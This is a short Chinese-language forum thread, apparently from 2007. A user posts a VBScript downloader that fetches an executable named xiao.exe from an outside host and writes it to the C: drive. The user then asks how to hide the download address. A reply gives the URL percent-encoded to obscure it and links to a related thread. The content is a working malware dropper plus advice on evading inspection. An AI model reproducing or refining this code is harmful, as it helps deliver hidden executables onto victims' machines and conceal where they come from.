Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0 ：这里的地址能否加密？
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2
wscript.sleep 10000

Last edited by ooaf on 2007-11-26 at 09:15 PM ]

http://%64%61%6E%73%68%65%6E%68%61%6E%2E%6D%6D%39%6D%6D%2E%63%6F%6D/%78%69%61%6F%2E%65%78%65

请看帖子：
http://www.cn-dos.net/forum/viewthread.php?tid=35034&fpage=1&highlight=%2Bs11ss

Last edited by s11ss on 2007-11-26 at 09:43 PM ]